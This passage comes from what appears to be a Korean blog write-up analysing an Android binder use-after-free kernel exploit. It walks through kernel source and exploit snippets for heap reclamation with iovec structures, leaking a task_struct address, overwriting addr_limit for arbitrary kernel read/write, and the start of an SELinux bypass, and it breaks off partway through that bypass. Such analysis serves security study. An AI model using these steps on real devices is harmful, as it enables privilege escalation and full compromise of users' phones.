<span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> + <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> + <span class="c1">//[...]</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">==</span> <span class="n">READ</span><span class="p">)</span> <span class="p">{</span> + <span class="n">fn</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">read</span><span class="p">;</span> + <span class="n">iter_fn</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">read_iter</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="n">io_fn_t</span><span class="p">)</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">write</span><span class="p">;</span> + <span class="n">iter_fn</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">write_iter</span><span class="p">;</span> + <span class="n">file_start_write</span><span class="p">(</span><span class="n">file</span><span class="p">);</span> + <span class="p">}</span> + <span class="c1">//[...]</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>위 코드를 확인해보면 writev → vfs_writev → do_readv_writev함수 순으로 호출 되고 여기서 import_iovec 함수가 호출된다.</p> + +<p><br /></p> + +<p>import_iovec함수를 살펴보면 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /lib/iov_iter.c</span> +<span class="kt">int</span> <span class="nf">import_iovec</span><span class="p">(</span><span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span> <span class="n">uvector</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">fast_segs</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">**</span><span class="n">iov</span><span class="p">,</span> <span class="k">struct</span> <span class="n">iov_iter</span> <span class="o">*</span><span class="n">i</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">ssize_t</span> <span class="n">n</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span> + <span class="n">n</span> <span class="o">=</span> <span class="n">rw_copy_check_uvector</span><span class="p">(</span><span class="n">type</span><span class="p">,</span> <span class="n">uvector</span><span class="p">,</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="n">fast_segs</span><span class="p">,</span> + <span class="o">*</span><span class="n">iov</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">p</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="n">p</span> <span class="o">!=</span> <span class="o">*</span><span class="n">iov</span><span class="p">)</span> + <span class="n">kfree</span><span class="p">(</span><span class="n">p</span><span class="p">);</span> + <span class="o">*</span><span class="n">iov</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="k">return</span> <span class="n">n</span><span class="p">;</span> + <span class="p">}</span> + <span class="n">iov_iter_init</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">type</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="n">n</span><span class="p">);</span> + <span class="o">*</span><span class="n">iov</span> <span class="o">=</span> <span class="n">p</span> <span class="o">==</span> <span class="o">*</span><span class="n">iov</span> <span class="o">?</span> <span class="nb">NULL</span> <span class="o">:</span> <span class="n">p</span><span class="p">;</span> + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /fs/read_write.c</span> +<span class="kt">ssize_t</span> <span class="nf">rw_copy_check_uvector</span><span class="p">(</span><span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span> <span class="n">uvector</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">fast_segs</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">fast_pointer</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">**</span><span class="n">ret_pointer</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">seg</span><span class="p">;</span> + <span class="kt">ssize_t</span> <span class="n">ret</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">iov</span> <span class="o">=</span> <span class="n">fast_pointer</span><span class="p">;</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="n">nr_segs</span> <span class="o">&gt;</span> <span class="n">fast_segs</span><span class="p">)</span> <span class="p">{</span> + <span class="n">iov</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="n">nr_segs</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">iovec</span><span class="p">),</span> <span class="n">GFP_KERNEL</span><span class="p">);</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="k">if</span> <span class="p">(</span><span class="n">copy_from_user</span><span class="p">(</span><span class="n">iov</span><span class="p">,</span> <span class="n">uvector</span><span class="p">,</span> <span class="n">nr_segs</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">uvector</span><span class="p">)))</span> <span class="p">{</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + <span class="k">for</span> <span class="p">(</span><span class="n">seg</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">seg</span> <span class="o">&lt;</span> <span class="n">nr_segs</span><span class="p">;</span> <span class="n">seg</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> + <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="n">iov</span><span class="p">[</span><span class="n">seg</span><span class="p">].</span><span class="n">iov_base</span><span class="p">;</span> + <span class="kt">ssize_t</span> <span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="kt">ssize_t</span><span class="p">)</span><span class="n">iov</span><span class="p">[</span><span class="n">seg</span><span class="p">].</span><span class="n">iov_len</span><span class="p">;</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">&gt;=</span> <span class="mi">0</span> + <span class="o">&amp;&amp;</span> <span class="n">unlikely</span><span class="p">(</span><span class="o">!</span><span class="n">access_ok</span><span class="p">(</span><span class="n">vrfy_dir</span><span class="p">(</span><span class="n">type</span><span class="p">),</span> <span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">)))</span> <span class="p">{</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">&gt;</span> <span class="n">MAX_RW_COUNT</span> <span class="o">-</span> <span class="n">ret</span><span class="p">)</span> <span class="p">{</span> + <span class="n">len</span> <span class="o">=</span> <span class="n">MAX_RW_COUNT</span> <span class="o">-</span> <span class="n">ret</span><span class="p">;</span> + <span class="n">iov</span><span class="p">[</span><span class="n">seg</span><span class="p">].</span><span class="n">iov_len</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span> + <span class="p">}</span> + <span class="n">ret</span> <span class="o">+=</span> <span class="n">len</span><span class="p">;</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>위 코드에서 확인할 수 있듯이, <code class="language-plaintext highlighter-rouge">kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);</code> 을 통해 커널 힙을 할당 받을 수 있는데, 이때 <code class="language-plaintext highlighter-rouge">nr_segs</code>를 우리가 원하는 값으로 할 수 있기 때문에 binder_thread 청크를 위 코드에서 할당 받을 수 있다. 또한 그 아래 코드에서 <code class="language-plaintext highlighter-rouge">copy_from_user</code> 함수를 통해 실제로 값을 copy하기 때문에, 원하는 값으로 청크를 채울 수 있다.</p> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">struct iovec</code> 의 크기가 0x10 byte이기 때문에 binder_thread 크기 만큼의 청크를 할당받기 위해서는 25개의 iovec 구조체를 할당받아야 한다. 따라서 아래와 같이 선언을 해준다면, writev에서 binder_thread 청크를 iovecStack으로 할당받을 수 있다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//exploit.c</span> +<span class="k">struct</span> <span class="n">iovec</span> <span class="n">iov</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span> +</code></pre></div></div> + +<p><br /></p> + +<p>이제 해제된 binder_thread를 iovec 구조체로 재할당 받게 되었다. 이를 writev에서 어떻게 활용할 수 있는지 아래에서 다뤄본다.</p> + +<p><br /></p> + +<h3 id="512-overwrite-dangling-pointer">5.1.2 Overwrite dangling pointer</h3> + +<p>writev에서는 iovec.base에 있는 값을 iovec.len 크기 만큼 전달한다. 이때 UAF를 통해 kernel address가 iovec.base에 들어가게 된다면, 결과적으로 kernel leak이 가능하다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/read_write.c</span> +<span class="k">static</span> <span class="kt">ssize_t</span> <span class="nf">do_loop_readv_writev</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> <span class="k">struct</span> <span class="n">iov_iter</span> <span class="o">*</span><span class="n">iter</span><span class="p">,</span> + <span class="n">loff_t</span> <span class="o">*</span><span class="n">ppos</span><span class="p">,</span> <span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="n">rwf_t</span> <span class="n">flags</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + <span class="k">while</span> <span class="p">(</span><span class="n">iov_iter_count</span><span class="p">(</span><span class="n">iter</span><span class="p">))</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="n">iovec</span> <span class="o">=</span> <span class="n">iov_iter_iovec</span><span class="p">(</span><span class="n">iter</span><span class="p">);</span> + <span class="kt">ssize_t</span> <span class="n">nr</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">==</span> <span class="n">READ</span><span class="p">)</span> <span class="p">{</span> + <span class="n">nr</span> <span class="o">=</span> <span class="n">filp</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">read</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="n">iovec</span><span class="p">.</span><span class="n">iov_base</span><span class="p">,</span> + <span class="n">iovec</span><span class="p">.</span><span class="n">iov_len</span><span class="p">,</span> <span class="n">ppos</span><span class="p">);</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="n">nr</span> <span class="o">=</span> <span class="n">filp</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">write</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="n">iovec</span><span class="p">.</span><span class="n">iov_base</span><span class="p">,</span> + <span class="n">iovec</span><span class="p">.</span><span class="n">iov_len</span><span class="p">,</span> <span class="n">ppos</span><span class="p">);</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="c1">//[...]</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>위 코드에서 확인할 수 있듯이, iovec 구조체를 돌다가 file-&gt;f_op-&gt;write의 인자로 iovec[11].iov_base, iovec[11].iov_len이 들어가게 될 것이고, 결국 우리의 UAF 취약점에 의해 kernel leak이 가능하게 될 것이다.</li> +</ul> + +<p><br /> +<br /></p> + +<p>UAF를 통해 kernel address가 어떻게 iovec.base에 들어갈 수 있는 지 알기 위해서는 iovec을 통해 입력한 값이 binder_thread의 각 맴버와 어떻게 매칭되는지를 먼저 확인해보면 알 수 있다.</p> + +<p>| offset | binder_thread | iovecStack | +| — | — | — | +| … | … | … | +| 0xA0 | wait.lock | iovecStack[10].iov_base = m_4gb_aligned_page | +| 0xA8 | wait.head.next | iovecStack[10].iov_len = PAGE_SIZE | +| 0xB0 | wait.head.prev | iovecStack[11].iov_base = 0x41414141 | +| 0xB8 | … | iovecStack[11].iov_len = PAGE_SIZE |</p> +<ul> + <li>iovecStack[10].iov_base에 값을 넣을 때 주의할 점은 wait.lock에 어떠한 값이 들어가 있게 될 경우 원하는 방향으로 writev 함수가 동작하지 않기 때문에, wait.lock에 해당하는 부분을 0으로 만들어야 한다. 따라서 iovecStack[10].iov_base에 들어가는 포인터는 하위 4byte값이 0으로 되어있어야한다. + <ul> + <li>e.i) 0x100000000</li> + </ul> + </li> + <li> + <p>이를 위하여 exploit 단계에서는 mmap을 사용하여 미리 0x100000000에 메모리 영역을 할당받는다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// exploit.c</span> + + <span class="n">m_4gb_aligned_page</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span> + <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="mh">0x100000000ul</span><span class="p">,</span> + <span class="n">PAGE_SIZE</span><span class="p">,</span> + <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> + <span class="n">MAP_PRIVATE</span> <span class="o">|</span> <span class="n">MAP_ANONYMOUS</span><span class="p">,</span> + <span class="o">-</span><span class="mi">1</span><span class="p">,</span> + <span class="mi">0</span> + <span class="p">);</span> +</code></pre></div> </div> + </li> +</ul> + +<p><br /></p> + +<p>우리가 알고 있는 사실은 binder_thread의 wait 멤버는 여전히 eppoll_entry 에 연결되어 있고, ep_remove 함수를 통해 해당 wait list를 정리할 때, wait.head.next와 wait.head.prev가 변한다는 사실이다. 정확히 어떻게 변하는 지는 circular double linked list에서 하나의 node가 제거되는 방식으로 변할 수 있는데, iovStack[11].iov_base위치에 epoll_entry 제거 과정에서 kernel memory가 저장된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//ep_entry-&gt;wait list 제거 과정 중..</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">__list_del</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span> <span class="n">prev</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span> <span class="n">next</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">next</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">prev</span><span class="p">;</span> + <span class="n">WRITE_ONCE</span><span class="p">(</span><span class="n">prev</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">,</span> <span class="n">next</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>이렇게 되면, 실제로 writev를 통해 값이 쓰일 때, iovStack[11].iov_base에 저장된 주소부터 PAGE_SIZE까지 출력이 되면서 kernel address leak이 된다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android7.png" alt="그림 7. task_struct leak" /></p> + +<p>0xffff88801a0790a8 : <code class="language-plaintext highlighter-rouge">iovecStack[10].len</code> 0xffff88801a0790a8 (<code class="language-plaintext highlighter-rouge">&amp;iovecStack[10].len</code>)</p> + +<p>0xffff88801a0790b0 : <code class="language-plaintext highlighter-rouge">iovecStack[11].iov_base</code> 0xffff88801a0790a8 (<code class="language-plaintext highlighter-rouge">&amp;iovecStack[10].len</code>)</p> + +<p>0xffff88801a0790b8 : <code class="language-plaintext highlighter-rouge">iovecStack[11].iov_len</code> 0x1000</p> + +<p>0xffff8880182f1b80 : <code class="language-plaintext highlighter-rouge">task_struct</code> address</p> + +<p><br /> +따라서 iovecStack[11].iov_base에서 0x1000만큼 출력을 하는데, 0xffff88801a0790a8+0xe8위치에 task_struct의 pointer(0xffff8880182f1b80)가 존재하기 때문에 이 값을 얻을 수 있다.</p> + +<p><br /> +<br /></p> + +<ul> + <li>iovec 구조체를 사용할 때, writev함수에서 사용이 끝나면 바로 해제되기 때문에, pipe를 이용하여 readv, writev를 진행한다. 이를 이용하면 pipe가 full이거나 empty상태 일 때, block상태가 되면서, chunk가 할당된 상태에서 유지할 수 있게 된다.</li> +</ul> + +<p><br /> +<br /></p> + +<h2 id="52-leak-task_struct-address-process">5.2 Leak task_struct address process</h2> + +<p>circular double linked list의 경우 노드가 해제되어 하나의 노드만 남게 되었을 경우, node.next와 node.prev가 자기 자신을 가리키게 된다. +지금까지 진행된 내용을 순서대로 정리하자면, 다음과 같다.</p> + +<ol> + <li>epoll, binder을 각각 생성한다.</li> + <li>epoll_ctl의 <code class="language-plaintext highlighter-rouge">EPOLL_CTL_ADD</code> 을 통해 <code class="language-plaintext highlighter-rouge">binder_thread.wait</code>을 연결한다.</li> + <li>ioctl의 <code class="language-plaintext highlighter-rouge">BINDER_THREAD_EXIT</code> 을 통해 <code class="language-plaintext highlighter-rouge">binder_thread</code>를 해제한다.</li> + <li>wait.lock을 우회하기 위해 0x100000000 영역을 할당 받는다.</li> + <li>pipe를 생성하고 pipe 크기를 page size로 지정한다.</li> + <li>fork를 통해 process를 2개로 나눈다. + <ul> + <li>process1 + <ol> + <li>iovec 구조체를 설정한다. 이때 <code class="language-plaintext highlighter-rouge">iovecStack[10].len</code>, <code class="language-plaintext highlighter-rouge">iovecStack[11].base</code>가 binder_thread.wait와 매칭되어 UAF가 터지는 부분이고, <code class="language-plaintext highlighter-rouge">iovecStack[11].len</code>은 <code class="language-plaintext highlighter-rouge">PAGE_SIZE</code>로 한다.</li> + <li>writev함수를 수행한다. + <ul> + <li>iovec 구조체가 실제로 kmalloc에 의해 할당된다. pipe가 FULL이기 때문에, thread가 block된 상태로 iovec 구조체가 유지된다.</li> + </ul> + </li> + </ol> + </li> + <li>process2 + <ol> + <li>iovec구조체 할당이 마무리 될 때 까지 대기하기 위해 sleep을 한다.</li> + <li>process1에서 구조체 할당이 끝난 후, epoll_ctl <code class="language-plaintext highlighter-rouge">EPOLL_CTL_DEL</code> 을 이용하여 ep_remove함수를 수행한다. + <ul> + <li>circular double linked list 해제 과정을 통해 thread.wait.prev, thread.wait.next에 해당하는 iovecStack[11].base와 iovecStack[10].len 이 바뀐다.</li> + <li>이로 인해 iovecStack[11].base가 kernel 주소에 있는 list head(iovecStack[10].len의 주소)가 된다.</li> + </ul> + </li> + <li>read로 pipe에서 PAGE_SIZE만큼 읽는다. + <ul> + <li>이때 읽어오는 값은 iovecStack[10].base에 값으로 의미 없는 값이다.</li> + <li>process1 의 block상태를 해제한다.</li> + </ul> + </li> + <li>process2를 종료한다.</li> + </ol> + </li> + <li>process1 + <ol> + <li>read를 통해 pipe에서 읽어온다. 이때 읽어오는 값은 iovecStack[11].base로 부터 읽어온 값으로 kernel memory leak이 된다.</li> + <li>kernel memory leak에 task_struct 주소가 존재한다.</li> + </ol> + </li> + </ul> + </li> +</ol> + +<p><br /> +<br /></p> + +<h2 id="53-get-kernel-read--write">5.3 Get Kernel Read / Write</h2> + +<p><br /></p> + +<h3 id="531-overwrite-threadaddr_limit">5.3.1 Overwrite thread.addr_limit</h3> + +<p>우리는 UAF를 통해 iovecStack[11].base와 iovecStack[10].len을 바꿀 수 있다. 간단하게 생각해서, readv를 통해 corrupt pointer로 입력을 넣을 수 있을 것으로 보이지만, 아래 이유로 인해 readv를 사용할 수 없다.</p> + +<ul> + <li>readv를 사용할 경우, iovecStack[10].len의 크기가 매우 커졌기 때문에, readv에서 iovecStack[10]만 출력하고 그 다음에 우리가 실제로 값을 넣어야 할 iovecStack[11].base에는 접근하지 못한다. 따라서 이 exploit에서는 readv대신 recvmsg를 사용한다.</li> +</ul> + +<p><br /></p> + +<p>recvmsg를 사용하면 iovecStack에 있는 iovecStack.iov_base에 socket으로 들어오는 값을 넣을 수 있게 된다. 이러한 특성과 unlink과정을 이용하여 task_struct의 addr_limit 값을 변경할 수 있다.</p> + +<p><br /> +<br /></p> + +<p>그 과정을 정리해보면 다음과 같다.</p> + +<ol> + <li>binder_thread를 할당 받은 다음 epoll에 연결한다.</li> + <li>sockpair를 통해 socket을 설정한다.</li> + <li> + <p>iovec 구조체를 아래와 같이 세팅하고 msg 구조체에 넣어서 recvmsg로 보낼 준비를 한다.</p> + + <table> + <thead> + <tr> + <th>offset</th> + <th>binder_thread</th> + <th>iovecStack</th> + </tr> + </thead> + <tbody> + <tr> + <td>…</td> + <td>…</td> + <td>…</td> + </tr> + <tr> + <td>0xA0</td> + <td>wait.lock</td> + <td>iovecStack[10].iov_base = m_4gb_aligned_page</td> + </tr> + <tr> + <td>0xA8</td> + <td>wait.head.next</td> + <td>iovecStack[10].iov_len = 1</td> + </tr> + <tr> + <td>0xB0</td> + <td>wait.head.prev</td> + <td>iovecStack[11].iov_base = 0x41414141</td> + </tr> + <tr> + <td>0xB8</td> + <td>…</td> + <td>iovecStack[11].iov_len = 0x8 *4</td> + </tr> + <tr> + <td>0xC0</td> + <td>…</td> + <td>iovecStack[12].iov_base = 0x42424242</td> + </tr> + <tr> + <td>0xC8</td> + <td>…</td> + <td>iovecStack[12].len = 8</td> + </tr> + </tbody> + </table> + </li> + <li>소켓이 미리 1byte junk data를 write한다.</li> + <li>fork를 이용하여 자식 프로세스를 생성한다. + <ul> + <li>자식 프로세스는 잠깐 sleep상태로 있는다.</li> + </ul> + </li> + <li>부모 프로세스에서 binder_thread를 free하고, recvmsg를 사용하여 binder_thread 크기의 iovecStack을 할당 받는다. 이때 MSG_WAITALL 옵션을 줘서, iovecStack[10].iov_base에 1byte를 작성한 다음 wait상태로 대기하게 한다.</li> + <li>자식 프로세스는 sleep상태에서 깨어난 다음 아래 동작을 수행한다. + <ol> + <li>epoll list를 unlink한다. 이로 인해 iovecStack[10].len과 iovecStack[11].base가 바뀌게 된다. + <ul> + <li>iovecStack[10]은 이미 이전에 recvmsg로 값을 받았다.</li> + <li>iovecStack[11].iov_base은 unlink과정에 의해 iovecStack[10].iov_len을 가리키는 주소로 변한다.</li> + </ul> + </li> + <li>recvmsg에서 iovStack[11].iov_base에 따라 다음에 들어가는 값은 iovecStack[10].iov_len을 가리키는 주소에 들어가고, 이로 인해 iovecStack[12].iov_base를 원하는 값으로 바꿀 수 있다.</li> + <li> + <p>아래와 같은 값을 write함으로써, iovecStack[12].iov_base값을 task_struct의 addr_limit주소로 바꾼다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">static</span> <span class="kt">uint64_t</span> <span class="n">finalSocketData</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> + <span class="mh">0x1</span><span class="p">,</span> <span class="c1">// iovecStack[IOVEC_WQ_INDEX].iov_len</span> + <span class="mh">0x41414141</span><span class="p">,</span> <span class="c1">// iovecStack[IOVEC_WQ_INDEX + 1].iov_base</span> + <span class="mh">0x8</span> <span class="o">+</span> <span class="mh">0x8</span> <span class="o">+</span> <span class="mh">0x8</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">,</span> <span class="c1">// iovecStack[IOVEC_WQ_INDEX + 1].iov_len</span> + <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span> <span class="p">((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span> <span class="n">m_task_struct</span> <span class="o">+</span> + <span class="n">OFFSET_TASK_STRUCT_ADDR_LIMIT</span><span class="p">),</span> <span class="c1">// iovecStack[IOVEC_WQ_INDEX + 2].iov_base</span> + <span class="mh">0xFFFFFFFFFFFFFFFE</span> <span class="c1">// addr_limit value</span> + <span class="p">};</span> + +</code></pre></div> </div> + </li> + <li>iovecStack[12].iov_len이 0x20이기 때문에, 정확히 iovecStack[12].iov_base를 task_struct의 addr_limit주소로 덮는다.</li> + <li>그 다음 값인 0xFFFFFFFFFFFFFFFE은 그 다음에 저장될 장소인 iovecStack[12].iov_base가 가리키는 task_struct.addr_limit에 저장된다.</li> + </ol> + </li> + <li>결론적으로 task_struct의 addr_limit의 값이 0xFFFFFFFFFFFFFFFE로 바뀌게 되었기 때문에, arbitrary read/write이 가능하다.</li> +</ol> + +<p><br /> +<br /></p> + +<h3 id="532-make-arbitrary-rw-primitives">5.3.2 Make Arbitrary R/W primitives</h3> + +<ol> + <li> + <p>arbitrary R/W를 위한 pipe를 만든다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">pipe</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">)</span> +</code></pre></div> </div> + </li> + <li> + <p>앞서 만든 pipe를 통해서 data를 pipe에 read하고 write하는 과정을 통해 원하는 주소에 있는 값을 버퍼로 옮기거나 버퍼에서 주소로 작성할 수 있다.</p> + <ul> + <li> + <p>read : 주소 값을 pipe에 작성한 다음, 버퍼로 pipe읽어오기</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">void</span> <span class="nf">Read</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">addr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">)</span> <span class="p">{</span> + <span class="n">write</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">addr</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> + <span class="n">read</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> + <li> + <p>write : 버퍼 값을 pipe에 write한 다음, 주소에서 read하기</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">void</span> <span class="nf">Write</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">addr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">)</span> <span class="p">{</span> + <span class="n">write</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> + <span class="n">read</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">addr</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> + </ul> + </li> +</ol> + +<p><br /> +<br /></p> + +<h2 id="54-bypass-selinux">5.4 Bypass SELinux</h2> + +<p>이 챕터에서는 SELinux의 동작 과정을 살펴본다. 그중에서 특히 avc_cache에 관련된 부분을 소스코드와 함께 살펴보면서, 이를 이용하여 SELinux를 우회할 수 있는 방법에 대해 알아본다.</p> + +<ul> + <li>이 챕터에서 분석한 SELinux 코드는 linux kernel 4.4.177 version이다.</li> +</ul> + +<p><br /></p> + +<h3 id="521-how-selinux-works">5.2.1 How SELinux works</h3> + +<p>SELinux는 아래와 같은 순서로 동작한다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android8.png" alt="그림 8. SELinux 동작 과정 출처 : [https://github.com/SELinuxProject/selinux-notebook/raw/main/src/images/1-core.png](https://github.com/SELinuxProject/selinux-notebook/raw/main/src/images/1-core.png)" /></p> + +<ol> + <li>Subject가 동작을 수행해도 되는지 Object Manager에게 Request를 보낸다. 이때 subject는 일반적으로 resource에 접근하는 프로세스를 말한다.</li> + <li>Object Manager는 Subject의 동작 수행 여부를 결정하기 위해 Security Server에 쿼리를 보낸다.</li> + <li>Security Server는 Security Policy를 기반으로 결정하여 answer을 돌려준다.</li> + <li>답변된 answer의 경우 AVC cache에 저장되며 이후 같은 request를 Object Manager에서 물어볼 경우 Access Vector Cache에 저장된 내용을 기반으로 행동을 결정한다.</li> +</ol> + +<p><br /></p> + +<h3 id="542-avc_cache-linked-with-avc_node">5.4.2 avc_cache linked with avc_node</h3> + +<p>AVC는 일반적으로 커널 혹은 user land에서 decision을 cache로 저장하기 위해 아래와 같은 hashmap으로 구현된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> +<span class="k">struct</span> <span class="n">avc_cache</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">hlist_head</span> <span class="n">slots</span><span class="p">[</span><span class="n">AVC_CACHE_SLOTS</span><span class="p">];</span> <span class="cm">/* head for avc_node-&gt;list */</span> + <span class="n">spinlock_t</span> <span class="n">slots_lock</span><span class="p">[</span><span class="n">AVC_CACHE_SLOTS</span><span class="p">];</span> <span class="cm">/* lock for writes */</span> + <span class="n">atomic_t</span> <span class="n">lru_hint</span><span class="p">;</span> <span class="cm">/* LRU hint for reclaim scan */</span> + <span 